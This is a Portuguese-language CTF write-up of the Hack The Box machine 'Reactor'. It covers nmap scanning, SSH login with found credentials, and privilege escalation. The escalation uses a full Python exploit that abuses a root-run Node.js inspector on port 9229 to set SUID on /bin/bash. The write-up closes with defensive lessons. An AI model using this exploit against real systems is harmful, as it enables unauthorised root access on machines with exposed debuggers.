🏴 Reactor - HTB (Linux | Easy)#

1. Reconhecimento e Enumeração#

O processo de exploração iniciou-se com o mapeamento da superfície de ataque via Nmap. O objetivo foi identificar serviços expostos e suas respectivas versões.

1
nmap -sV -sC -Pn 10.129.8.143

2. Foothold: Acesso Inicial#

Através de uma fase de enumeração manual e consulta a base de dados de credenciais conhecidas para este tipo de dashboard, identifiquei um par de credenciais válido:

• Username: engineer
• Password: reactor1

Validei o acesso via SSH para obter uma shell interativa no sistema:

1
ssh engineer@10.129.8.143

User Flag: 🏴Flag🏴

3. Escalação de Privilégios (Privesc)#

Após o acesso inicial, realizei uma auditoria nos processos locais e portas em escuta (localhost).

1
# Verificando serviços internos
2
ss -lntp
3

4
# Analisando processos Node.js
5
ps aux | grep node

Identifiquei uma instância do Node.js rodando com privilégios de root e o debugger ativado (--inspect) na porta 9229: root /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js

1
curl -s http://127.0.0.1:9229/json

1
import socket, struct, base64, json, sys
2

3
def trigger_rce(uuid):
4
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
5
    s.connect(('127.0.0.1', 9229))
6

7
    # WebSocket Handshake
8
    key = base64.b64encode(b'exploit').decode()
9
    handshake = (
10
        f'GET /{uuid} HTTP/1.1\r\n'
11
        'Host: 127.0.0.1:9229\r\n'
12
        'Upgrade: websocket\r\n'
13
        'Connection: Upgrade\r\n'
14
        f'Sec-WebSocket-Key: {key}\r\n'
15
        'Sec-WebSocket-Version: 13\r\n\r\n'
16
    )
17
    s.send(handshake.encode())
18
    s.recv(1024)
19

20
    # Injeção: Atribuindo SUID ao bash
21
    cmd = 'process.mainModule.require("child_process").execSync("chmod u+s /bin/bash")'
22
    payload = json.dumps({"id": 1, "method": "Runtime.evaluate", "params": {"expression": cmd}})
23

24
    # Construção do Frame WebSocket
25
    msg = payload.encode()
26
    length = len(msg)
27
    frame = b'\x81' + struct.pack('!B', length | 0x80) + b'\x00\x00\x00\x00' + msg
28
    s.send(frame)
29
    s.close()
30

31
if __name__ == "__main__":
32
    trigger_rce(sys.argv[1])

1
python3 exploit.py 6bd67fb0-63ff-411d-a8af-251fcf8049a2
2
/bin/bash -p

4. Post-Mortem e Lições Aprendidas#

• Configurações Inseguras: Nunca exponha o Node.js Inspector em ambientes de produção, especialmente em processos privilegiados.
• Enumeração Interna: Serviços rodando apenas em 127.0.0.1 costumam esconder as maiores vulnerabilidades de um sistema.
• Living off the Land: A habilidade de escrever scripts puros (sem dependências externas) é crucial quando o ambiente de post-exploitation é restrito.